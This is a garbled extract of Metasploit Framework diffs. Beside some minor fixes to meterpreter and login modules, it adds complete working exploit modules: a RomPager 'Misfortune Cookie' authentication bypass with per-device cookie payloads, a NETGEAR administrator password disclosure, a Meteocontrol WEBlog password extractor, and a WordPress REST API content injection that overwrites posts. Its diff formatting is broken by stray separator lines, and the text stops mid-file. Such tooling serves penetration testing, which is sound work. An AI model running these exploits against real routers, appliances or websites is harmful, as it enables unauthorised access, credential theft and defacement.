|
||||
dest = File.join( dest_folder, base )
|
||||
|
||||
if stat.directory?
|
||||
|
@ -386,6 +392,8 @@ private
|
|||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||
}
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def parse_dump(dump, get_images, get_files, download_path)
|
||||
|
@ -406,15 +414,15 @@ private
|
|||
print_line(v)
|
||||
|
||||
when 'Files'
|
||||
total = 0
|
||||
v.each do |f|
|
||||
print_line("Remote Path : #{f[:name]}")
|
||||
print_line("File size : #{f[:size]} bytes")
|
||||
if get_files
|
||||
download_file( loot_dir, f[:name] )
|
||||
unless download_file(loot_dir, f[:name])
|
||||
print_error("Download of #{f[:name]} failed.")
|
||||
end
|
||||
end
|
||||
print_line
|
||||
total += f[:size]
|
||||
end
|
||||
|
||||
when 'Image'
|
||||
|
|
|
@ -309,15 +309,15 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
end
|
||||
|
||||
#
|
||||
# Delete the specified file.
|
||||
# Delete the specified file(s).
|
||||
#
|
||||
def cmd_rm(*args)
|
||||
if (args.length == 0)
|
||||
print_line("Usage: rm file")
|
||||
print_line("Usage: rm file1 [file2...]")
|
||||
return true
|
||||
end
|
||||
|
||||
client.fs.file.rm(args[0])
|
||||
args.each { |f| client.fs.file.rm(f) }
|
||||
|
||||
return true
|
||||
end
|
||||
|
@ -442,7 +442,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
files.each do |file|
|
||||
src_separator = client.fs.file.separator
|
||||
src_path = file['path'] + client.fs.file.separator + file['name']
|
||||
dest_path = src_path.tr(src_separator, ::File::SEPARATOR)
|
||||
dest_path = ::File.join(dest, ::Rex::FileUtils::clean_path(file['path'].tr(src_separator, ::File::SEPARATOR)))
|
||||
|
||||
client.fs.file.download(dest_path, src_path, opts) do |step, src, dst|
|
||||
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
|
||||
|
@ -756,7 +756,11 @@ class Console::CommandDispatcher::Stdapi::Fs
|
|||
# Source and destination will be the same
|
||||
src_items << last if src_items.empty?
|
||||
|
||||
dest = last
|
||||
if args.size == 1
|
||||
dest = last.split(/(\/|\\)/).last
|
||||
else
|
||||
dest = last
|
||||
end
|
||||
|
||||
# Go through each source item and upload them
|
||||
src_items.each { |src|
|
||||
|
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.11'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.14'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -0,0 +1,233 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",
|
||||
'Description' => %q(
|
||||
This module exploits HTTP servers that appear to be vulnerable to the
|
||||
'Misfortune Cookie' vulnerability which affects Allegro Software
|
||||
Rompager versions before 4.34 and can allow attackers to authenticate
|
||||
to the HTTP service as an administrator without providing valid
|
||||
credentials.
|
||||
),
|
||||
'Author' => [
|
||||
'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module
|
||||
'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module
|
||||
'Lior Oppenheim' # CVE-2014-9222
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2014-9222'],
|
||||
['URL', 'http://mis.fortunecook.ie'],
|
||||
['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
|
||||
['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
|
||||
],
|
||||
'DisclosureDate' => 'Dec 17 2014',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI to test', '/']),
|
||||
], Exploit::Remote::HttpClient
|
||||
)
|
||||
end
|
||||
|
||||
def headers
|
||||
{
|
||||
'Referer' => full_uri
|
||||
}
|
||||
end
|
||||
|
||||
# List of known values and models
|
||||
def devices_list
|
||||
{
|
||||
:'AZ-D140W'=>
|
||||
{:name=>'Azmoon', :model=>'AZ-D140W', :values=>[
|
||||
[107367693, 13]
|
||||
]},
|
||||
:'BiPAC 5102S'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5102S', :values=>[
|
||||
[107369694, 13]
|
||||
]},
|
||||
:'BiPAC 5200'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200', :values=>[
|
||||
[107369545, 9],
|
||||
[107371218, 21]
|
||||
]},
|
||||
:'BiPAC 5200A'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200A', :values=>[
|
||||
[107366366, 25],
|
||||
[107371453, 9]
|
||||
]},
|
||||
:'BiPAC 5200GR4'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200GR4', :values=>[
|
||||
[107367690, 21]
|
||||
]},
|
||||
:'BiPAC 5200SRD'=>
|
||||
{:name=>'Billion', :model=>'BiPAC 5200SRD', :values=>[
|
||||
[107368270, 1],
|
||||
[107371378, 3],
|
||||
[107371218, 13]
|
||||
]},
|
||||
:'DSL-2520U'=>
|
||||
{:name=>'D-Link', :model=>'DSL-2520U', :values=>[
|
||||
[107368902, 25]
|
||||
]},
|
||||
:'DSL-2600U'=>
|
||||
{:name=>'D-Link', :model=>'DSL-2600U', :values=>[
|
||||
[107366496, 13],
|
||||
[107360133, 20]
|
||||
]},
|
||||
:'TD-8616'=>
|
||||
{:name=> 'TP-Link', :model=>'TD-8616', :values=>[
|
||||
[107371483, 21],
|
||||
[107369790, 17],
|
||||
[107371161, 1],
|
||||
[107371426, 17],
|
||||
[107370211, 5],
|
||||
]},
|
||||
:'TD-8817'=>
|
||||
{:name=> 'TP-Link', :model=>'TD-8817', :values=>[
|
||||
[107369790, 17],
|
||||
[107369788, 1],
|
||||
[107369522, 25],
|
||||
[107369316, 21],
|
||||
[107369321, 9],
|
||||
[107351277, 20]
|
||||
]},
|
||||
:'TD-8820'=>
|
||||
{:name=>'TP-Link', :model=>'TD-8820', :values=>[
|
||||
[107369768, 17]
|
||||
]},
|
||||
:'TD-8840T'=>
|
||||
{:name=>'TP-Link', :model=>'TD-8840T', :values=>[
|
||||
[107369845, 5],
|
||||
[107369790, 17],
|
||||
[107369570, 1],
|
||||
[107369766, 1],
|
||||
[107369764, 5],
|
||||
[107369688, 17]
|
||||
]},
|
||||
:'TD-W8101G'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8101G', :values=>[
|
||||
[107367772, 37],
|
||||
[107367808, 21],
|
||||
[107367751, 21],
|
||||
[107367749, 13],
|
||||
[107367765, 25],
|
||||
[107367052, 25],
|
||||
[107365835, 1]
|
||||
]},
|
||||
:'TD-W8151N'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8151N', :values=>[
|
||||
[107353867, 24]
|
||||
]},
|
||||
:'TD-W8901G'=>
|
||||
{:name=> 'TP-Link', :model=>'TD-W8901G', :values=>[
|
||||
[107367787, 21],
|
||||
[107368013, 5],
|
||||
[107367854, 9],
|
||||
[107367751, 21],
|
||||
[107367749, 13],
|
||||
[107367765, 25],
|
||||
[107367682, 21],
|
||||
[107365835, 1],
|
||||
[107367052, 25]
|
||||
]},
|
||||
:'TD-W8901GB'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8901GB', :values=>[
|
||||
[107367756, 13],
|
||||
[107369393, 21]
|
||||
]},
|
||||
:'TD-W8901N'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8901N', :values=>[
|
||||
[107353880, 0]
|
||||
]},
|
||||
:'TD-W8951ND'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8951ND', :values=>[
|
||||
[107369839, 25],
|
||||
[107369876, 13],
|
||||
[107366743, 21],
|
||||
[107364759, 25],
|
||||
[107364759, 13],
|
||||
[107364760, 21]
|
||||
]},
|
||||
:'TD-W8961NB'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8961NB', :values=>[
|
||||
[107369844, 17],
|
||||
[107367629, 21],
|
||||
[107366421, 13]
|
||||
]},
|
||||
:'TD-W8961ND'=>
|
||||
{:name=>'TP-Link', :model=>'TD-W8961ND', :values=>[
|
||||
[107369839, 25],
|
||||
[107369876, 13],
|
||||
[107364732, 25],
|
||||
[107364771, 37],
|
||||
[107364762, 29],
|
||||
[107353880, 0],
|
||||
[107353414, 36]
|
||||
]},
|
||||
:'P-660R-T3 v3'=> #This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s
|
||||
{:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[
|
||||
[107369567, 21]
|
||||
]},
|
||||
:'P-660RU-T3 v2'=> #Couldn't verify this
|
||||
{:name=>'ZyXEL', :model=>'P-660R-T3', :values=>[
|
||||
[107369567, 21]
|
||||
]},
|
||||
}
|
||||
end
|
||||
|
||||
|
||||
def check_response_fingerprint(res, fallback_status)
|
||||
fp = http_fingerprint(response: res)
|
||||
vprint_status("Fingerprint: #{fp}")
|
||||
if /realm="(?<model>.+)"/ =~ fp
|
||||
return model
|
||||
end
|
||||
fallback_status
|
||||
end
|
||||
|
||||
def run
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
)
|
||||
model = check_response_fingerprint(res, Exploit::CheckCode::Detected)
|
||||
if model != Exploit::CheckCode::Detected
|
||||
devices = devices_list[model.to_sym]
|
||||
if devices != nil
|
||||
print_good("Detected device:#{devices[:name]} #{devices[:model]}")
|
||||
devices[:values].each { |value|
|
||||
cookie = "C#{value[0]}=#{'B'*value[1]}\x00"
|
||||
res = send_request_raw(
|
||||
'uri' => normalize_uri(target_uri.path.to_s),
|
||||
'method' => 'GET',
|
||||
'headers' => headers.merge('Cookie' => cookie)
|
||||
)
|
||||
if res != nil and res.code <= 302
|
||||
print_good('Good response, please check host, authentication should be disabled')
|
||||
break
|
||||
else
|
||||
print_error('Bad response')
|
||||
end
|
||||
}
|
||||
else
|
||||
print_error("No matching values for fingerprint #{model}")
|
||||
end
|
||||
else
|
||||
print_error('Unknown device')
|
||||
end
|
||||
end
|
||||
end
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
register_options([
|
||||
Opt::RPORT(25),
|
||||
OptInt.new("STARTLEN", [true, "Lenght of the string - start number", 100] ),
|
||||
OptInt.new("STARTLEN", [true, "Length of the string - start number", 100] ),
|
||||
OptInt.new("INTERACTIONS", [false, "Number of interactions to run", 100] ),
|
||||
OptBool.new("RESPECTORDER", [false, "Respect order of commands", true] ),
|
||||
OptEnum.new("CMD", [true,"Command to fuzzer",'EHLO',
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR Administrator Password Disclosure',
|
||||
'Description' => %q{
|
||||
This module will collect the password for the `admin` user.
|
||||
The exploit will not complete if password recovery is set on the router.
|
||||
The password is received by passing the token generated from `unauth.cgi`
|
||||
to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
|
||||
products. The full list of affected products is available in the 'References'
|
||||
section.
|
||||
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Simon Kenin', # Vuln Discovery, PoC
|
||||
'thecarterb' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-5521' ],
|
||||
[ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ],
|
||||
[ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],
|
||||
[ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'],
|
||||
[ 'URL', 'http://pastebin.com/dB4bTgxz'],
|
||||
[ 'EDB', '41205']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# @return substring of 'text', usually a response from a server in this case
|
||||
def scrape(text, start_trig, end_trig)
|
||||
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
|
||||
end
|
||||
|
||||
def run
|
||||
uri = target_uri.path
|
||||
uri = normalize_uri(uri)
|
||||
print_status("Checking if #{rhost} is a NETGEAR router")
|
||||
vprint_status("Sending request to http://#{rhost}/")
|
||||
|
||||
# will always call check no matter what
|
||||
is_ng = check
|
||||
|
||||
res = send_request_cgi({ 'uri' => uri })
|
||||
if res.nil?
|
||||
print_error("#{rhost} returned an empty response.")
|
||||
return
|
||||
end
|
||||
|
||||
if is_ng == Exploit::CheckCode::Detected
|
||||
marker_one = "id="
|
||||
marker_two = "\""
|
||||
token = scrape(res.to_s, marker_one, marker_two)
|
||||
if token.nil?
|
||||
print_error("#{rhost} is not vulnerable: Token not found")
|
||||
return
|
||||
end
|
||||
|
||||
if token == '0'
|
||||
print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
|
||||
end
|
||||
print_status("Token found: #{token}")
|
||||
vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")
|
||||
|
||||
r = send_request_cgi({
|
||||
'uri' => "/passwordrecovered.cgi",
|
||||
'vars_get' => { 'id' => token }
|
||||
})
|
||||
|
||||
vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")
|
||||
|
||||
html = r.get_html_document
|
||||
raw_html = html.text
|
||||
|
||||
username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
|
||||
password = scrape(raw_html, "Router Admin Password", "You can")
|
||||
if username.nil? || password.nil?
|
||||
print_error("#{rhost} returned empty credentials")
|
||||
return
|
||||
end
|
||||
username.strip!
|
||||
password.strip!
|
||||
|
||||
if username.empty? || password.empty?
|
||||
print_error("No Creds found")
|
||||
else
|
||||
print_good("Creds found: #{username}/#{password}")
|
||||
end
|
||||
else
|
||||
print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
|
||||
end
|
||||
end
|
||||
|
||||
# Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
|
||||
# This checks the response for that header.
|
||||
def check
|
||||
|
||||
res = send_request_cgi({'uri'=>'/'})
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||
end
|
||||
|
||||
# Checks for the `WWW-Authenticate` header in the response
|
||||
if res.headers["WWW-Authenticate"]
|
||||
data = res.to_s
|
||||
marker_one = "Basic realm=\""
|
||||
marker_two = "\""
|
||||
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
|
||||
print_good("Router is a NETGEAR router (#{model})")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
print_error('Router is not a NETGEAR router')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
|
@ -36,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
|
||||
fp = http_fingerprint(:response => res)
|
||||
print_status("#{ip}:#{rport} #{fp}") if fp
|
||||
report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp)
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
ensure
|
||||
disconnect
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Meteocontrol WEBlog Password Extractor',
|
||||
'Description' => %{
|
||||
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'],
|
||||
['CVE', '2016-2296'],
|
||||
['CVE', '2016-2298']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_metweblog?
|
||||
return
|
||||
end
|
||||
|
||||
do_extract
|
||||
end
|
||||
|
||||
#
|
||||
# Check if App is Meteocontrol WEBlog
|
||||
#
|
||||
|
||||
def is_app_metweblog?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/html/en/index.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log")))
|
||||
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
|
||||
return true
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Extract Administrator Password
|
||||
#
|
||||
|
||||
def do_extract()
|
||||
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/html/en/confAccessProt.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
|
||||
return
|
||||
end
|
||||
|
||||
if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/))
|
||||
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
|
||||
if get_admin_password[1]
|
||||
admin_password = get_admin_password[1]
|
||||
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Meteocontrol WEBlog Management Portal',
|
||||
password: admin_password,
|
||||
proof: res.body
|
||||
)
|
||||
else
|
||||
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value.
|
||||
print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
|
||||
end
|
||||
else
|
||||
print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.")
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'Brandon Knight',
|
||||
'Pete (Bokojan) Arzamendi', # Outlook 2013 updates
|
||||
'Nate Power', # HTTP timing option
|
||||
'Chapman (R3naissance) Schleiss' # Save username in creds if response is less
|
||||
'Chapman (R3naissance) Schleiss', # Save username in creds if response is less
|
||||
'Andrew Smith' # valid creds, no mailbox
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
|
@ -218,6 +219,19 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
# No password change required moving on.
|
||||
# Check for valid login but no mailbox setup
|
||||
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
|
||||
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE a mailbox is not setup")
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'owa',
|
||||
user: user,
|
||||
password: pass
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
unless location = res.headers['location']
|
||||
print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.")
|
||||
return :abort
|
||||
|
|
|
@ -0,0 +1,217 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress REST API Content Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a content injection vulnerability in WordPress
|
||||
versions 4.7 and 4.7.1 via type juggling in the REST API.
|
||||
},
|
||||
'Author' => [
|
||||
'Marc Montpas', # Vulnerability discovery
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['WPVDB', '8734'],
|
||||
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
|
||||
['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'],
|
||||
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
|
||||
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']
|
||||
],
|
||||
'DisclosureDate' => 'Feb 1 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['LIST', 'Description' => 'List posts'],
|
||||
['UPDATE', 'Description' => 'Update post']
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),
|
||||
OptString.new('POST_TITLE', [false, 'Post title']),
|
||||
OptString.new('POST_CONTENT', [false, 'Post content']),
|
||||
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptInt.new('PostCount', [false, 'Number of posts to list', 100]),
|
||||
OptString.new('SearchTerm', [false, 'Search term when listing posts'])
|
||||
])
|
||||
end
|
||||
|
||||
def check_host(_ip)
|
||||
if (version = wordpress_version)
|
||||
version = Gem::Version.new(version)
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_status("WordPress #{version}: #{full_uri}")
|
||||
|
||||
if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1'))
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
if !wordpress_and_online?
|
||||
print_error("WordPress not detected at #{full_uri}")
|
||||
return
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'LIST'
|
||||
do_list
|
||||
when 'UPDATE'
|
||||
do_update
|
||||
end
|
||||
end
|
||||
|
||||
def do_list
|
||||
posts_to_list = list_posts
|
||||
|
||||
if posts_to_list.empty?
|
||||
print_status("No posts found at #{full_uri}")
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})",
|
||||
'Columns' => %w{ID Title URL Password}
|
||||
)
|
||||
|
||||
posts_to_list.each do |post|
|
||||
tbl << [
|
||||
post[:id],
|
||||
Rex::Text.html_decode(post[:title]),
|
||||
post[:url],
|
||||
post[:password] ? 'Yes' : 'No'
|
||||
]
|
||||
end
|
||||
|
||||
print_line(tbl.to_s)
|
||||
end
|
||||
|
||||
def do_update
|
||||
posts_to_update = []
|
||||
|
||||
if datastore['POST_ID'] == 0
|
||||
posts_to_update = list_posts
|
||||
else
|
||||
posts_to_update << {id: datastore['POST_ID']}
|
||||
end
|
||||
|
||||
if posts_to_update.empty?
|
||||
print_status("No posts to update at #{full_uri}")
|
||||
return
|
||||
end
|
||||
|
||||
posts_to_update.each do |post|
|
||||
res = update_post(post[:id],
|
||||
title: datastore['POST_TITLE'],
|
||||
content: datastore['POST_CONTENT'],
|
||||
password: datastore['POST_PASSWORD']
|
||||
)
|
||||
|
||||
post_url = full_uri(wordpress_url_post(post[:id]))
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("SUCCESS: #{post_url} (Post updated)")
|
||||
elsif res && (error = res.get_json_document['message'])
|
||||
print_error("FAILURE: #{post_url} (#{error})")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def list_posts
|
||||
posts = []
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(get_rest_api, 'posts'),
|
||||
'vars_get' => {
|
||||
'per_page' => datastore['PostCount'],
|
||||
'search' => datastore['SearchTerm']
|
||||
}
|
||||
}, 3.5)
|
||||
|
||||
if res && res.code == 200
|
||||
res.get_json_document.each do |post|
|
||||
posts << {
|
||||
id: post['id'],
|
||||
title: post['title']['rendered'],
|
||||
url: post['link'],
|
||||
password: post['content']['protected']
|
||||
}
|
||||
end
|
||||
elsif res && (error = res.get_json_document['message'])
|
||||
vprint_error("Failed to list posts: #{error}")
|
||||
end
|
||||
|
||||
posts
|
||||
end
|
||||
|
||||
def update_post(id, opts = {})
|
||||
payload = {}
|
||||
|
||||
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"
|
||||
payload[:title] = opts[:title] if opts[:title]
|
||||
payload[:content] = opts[:content] if opts[:content]
|
||||
payload[:password] = opts[:password] if opts[:password]
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(get_rest_api, 'posts', id),
|
||||
'ctype' => 'application/json',
|
||||
'data' => payload.to_json
|
||||
}, 3.5)
|
||||
end
|
||||
|
||||
def get_rest_api
|
||||
return @rest_api if @rest_api
|
||||
|
||||
res = send_request_cgi!({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
}, 3.5)
|
||||
|
||||
if res && res.code == 200
|
||||
@rest_api = parse_rest_api(res)
|
||||
end
|
||||
|
||||
@rest_api ||= wordpress_url_rest_api
|
||||
end
|
||||
|
||||
def parse_rest_api(res)
|
||||
rest_api = nil
|
||||
|
||||
link = res.headers['Link']
|
||||
html = res.get_html_document
|
||||
|
||||
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
|
||||
rest_api = route_rest_api($1)
|
||||
vprint_status('REST API found in Link header')
|
||||
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
|
||||
rest_api = route_rest_api(xpath)
|
||||
vprint_status('REST API found in HTML document')
|
||||
end
|
||||
|
||||
rest_api
|
||||
end
|
||||
|
||||
def route_rest_api(rest_api)
|
||||
normalize_uri(path_from_uri(rest_api), 'wp/v2')
|
||||
end
|
||||
|
||||
end
|
|
@ -86,7 +86,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
vprint_status("#{ip}:#{port} - TCP closed")
|
||||
r << [ip,port,"closed"]
|
||||
rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
rescue ::Interrupt
|
||||
|
|
|
@ -265,6 +265,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
valid!
|
||||
end
|
||||
|
||||
# Override CredentialCollection#has_privates?
|
||||
def has_privates?
|
||||
!@key_data.empty?
|
||||
end
|
||||
|
||||
def realm
|
||||
nil
|
||||
end
|
||||
|
|
|
@ -0,0 +1,322 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
